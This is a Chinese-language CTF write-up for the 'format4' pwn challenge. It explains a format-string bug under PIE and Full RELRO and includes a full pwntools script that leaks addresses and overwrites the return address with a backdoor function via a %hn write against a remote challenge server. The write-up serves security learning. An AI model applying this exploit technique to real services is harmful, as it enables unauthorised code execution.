题目自取
链接:https://pan.baidu.com/s/1ASEBlVsI-UBRsjs7H3xPHw?pwd=4p8y
提取码:4p8y
开始:
有NX保护,写不了shellcode
Full relro,说明改不了got表
有pie保护,说明可能需要泄露程序的基地址
IDA这里显示有后门函数,没有栈溢出,但是有格式化字符串漏洞。
看一下栈的情况:
大致思路是修改返回地址为后门函数,也就是 把rbp的下一个地址(main+46)处修改为backdoor的地址。
我们可以观察到0x7fffffffdec8这块地址指向的是返回地址的下一地址,我们可以泄露这个地址再减去0x8,就可以得到返回地址处的地址,在这里也就是0x7fffffffdda8。且距离第一个字符写入的地址dd70处只有0x10的距离,完全可以将dda0这个参数写入dd80处的内存。再配合格式化字符串漏洞,可以把返回地址处的内容(main+46)修改为backdoor的地址。
泄露栈的地址可以通过泄露0x7fffffffddc8处的main地址,再根据base=main-0xA0B(IDA显示程序main地址)即可得到程序的基地址
from pwn import *
elf = ELF('./format4')
io=remote("81.68.85.214",8012)
from LibcSearcher import *
context(os="linux", arch="amd64",log_level="debug")
io.recvuntil(b'ing.....')
io.recvline()
payload=b'%15$p'
io.send(payload)
main_addr=int(io.recv(14),16)-46
base=main_addr-0xA0B
backdoor_addr=0x951+base
print(hex(backdoor_addr))
t=backdoor_addr&0xffff
io.sendlineafter("anything else to say?\n",b"y")
io.recv()
payload=b'%14$p'
io.send(payload)
io.recvline()
stack_addr=int(io.recv(14),16)-0x8
print("修改数据开始")
io.sendlineafter("anything else to say?\n",b"y")
payload=b'%'+str(t).encode('utf-8')+b'c'+b'%10$hn'
payload=payload.ljust(0x10,b'a')+p64(stack_addr)
io.sendlineafter("leave something.....\n",payload)
io.sendlineafter("anything else to say?\n",b"n")
io.interactive()
这里要说明的是返回地址的时候返回的是base+0x951,是0x951而不是0x950,应该是栈对齐的原因,如果用ROPgadget拿到ret的地址,在返回后门函数前加一个ret应该也能够解决问题。但是很奇怪打远程的时候用ret不行,但是过一段时间回来再打又可以了。很奇怪